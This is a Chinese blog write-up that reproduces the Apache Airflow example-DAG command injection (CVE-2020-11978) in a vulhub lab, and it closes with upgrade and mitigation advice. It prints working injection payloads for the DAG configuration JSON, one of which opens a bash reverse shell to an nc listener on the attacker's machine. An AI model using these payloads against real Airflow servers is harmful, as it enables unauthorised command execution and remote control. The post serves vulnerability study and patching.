(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】
前言
我自从学java工具开发以后,很少接触漏洞复现了,以前还是安服的时候每天都会复现一篇,后面转了方向就没怎么接触漏洞了。就在昨天,一个靓仔带着问题找我,问我会不会Apache Airflow(CVE-2020-11978)这个漏洞,所以,就有了这篇博文,CVE-2020-11978漏洞复现。
提示:以下是本篇文章正文内容,下面案例可供参考
1.漏洞信息补充
Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
2. 漏洞简介
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
3.影响版本
Apache Airflow <= 1.10.10
4.漏洞复现
一、启动vulhub靶场环境
没有vulhub的就去下一个vulhub,按照步骤来解压安装包就行。如果vulhub版本比较老是没有这个漏洞的,下载一个新的vulhub就行,如下图所示的第二个airflow就是。
进入CVE-2020-11978文件夹
输入以下命令启动
docker-compose run airflow-init
docker-compose up -d
访问漏洞地址:http://127.0.0.1:8080 即可
由于在虚拟机里操作不方便,在虚拟机ifconfig命令获取到ip地址是192.168.25.130,用这个ip替换127.0.0.1即可在本地的浏览器访问,如下所示:
注意!由于漏洞环境比较大,启动的时间很慢,并不是一下子就能访问到的,具体等待多久我是不清楚的,我是前一天晚上启动了环境,发现无法访问8080端口,睡了一觉起来后,才能访问的,所以不要着急,环境启动完需要耐心等待,可以先去做别的事情。
二、命令执行
访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
在Configuration JSON中输入:
{"message":"'\";touch /tmp/what_the_fuck;#"}
再点击Trigger执行dag。
等几秒可以看到执行成功。
显示success,说明成功。
进入容器查看目录,发现成功创建/tmp/what_the_fuck文件,漏洞复现成功。
docker-compose exec airflow-worker bash
三、NC反弹shell
上面既然能用touch创建文件了,那么反弹一个shell回来,问题也不大,接下来看操作。
攻击机192.168.230.234开启nc,监听9999端口。
在Configuration JSON中输入:
{"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}
{“message”:“'”;;#"},再点击Trigger执行dag。
成功反弹shell,可以命令执行了。
5. 修复建议
1、升级到1.10.10之后版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
总结
漏洞复现故而简单,但是其中的原理还是有点迷糊,建议大家在复现漏洞的同时,还要搞懂其中的原理。
文章原创,欢迎转载,请注明文章出处: (CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。
相关文章
- kali 漏洞篇-SQL注入 学习笔记
- 渗透测试-xml注入以及xxe漏洞
- Vue.js 客户端模板注入漏洞
- 漏洞复现----43、Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)
- web渗透测试----11、身份认证漏洞
- 【专题文章导航】本篇收录了SQL注入、漏洞复现、后渗透、新增漏洞报告四个专题的所有文章
- 漏洞情报 | VMware vCenter Server 远程代码执行漏洞(CVE-2021-21985)
- CVE-2021-1647:Microsoft Defender远程代码执行漏洞通告
- CVE-2020-29436:Nexus Repository Manager 3 XML外部实体注入漏洞通告
- CVE-2020-16875: Microsoft Exchange远程代码执行漏洞通告
- CVE-2020-10882: TP-Link 命令注入漏洞通告
- CVE-2020-11100: HAProxy 内存越界写入漏洞通告
- jackson-databind-2653: JNDI注入导致远程代码执行漏洞通告
- 《JAVA代码审计》(1)JAXB血案之 XML外部实体注入漏洞(XXE)
- MS08-067 (CVE-2008-4250) 远程命令执行漏洞
- 【Web漏洞探索】命令注入漏洞
- 【Web漏洞探索】外部实体注入漏洞
- Android WebView的Js对象注入漏洞解决方案
- 《Web应用漏洞侦测与防御:揭秘鲜为人知的攻击手段和防御技术》——2.3 小结
- X-RAY 扫到dirscan/sourcemap/default漏洞
- spring框架漏洞整理(Spring Cloud Config路径穿越导致的信息泄露)
- broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
- 数据库出现漏洞可获取用户ROOT权限
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)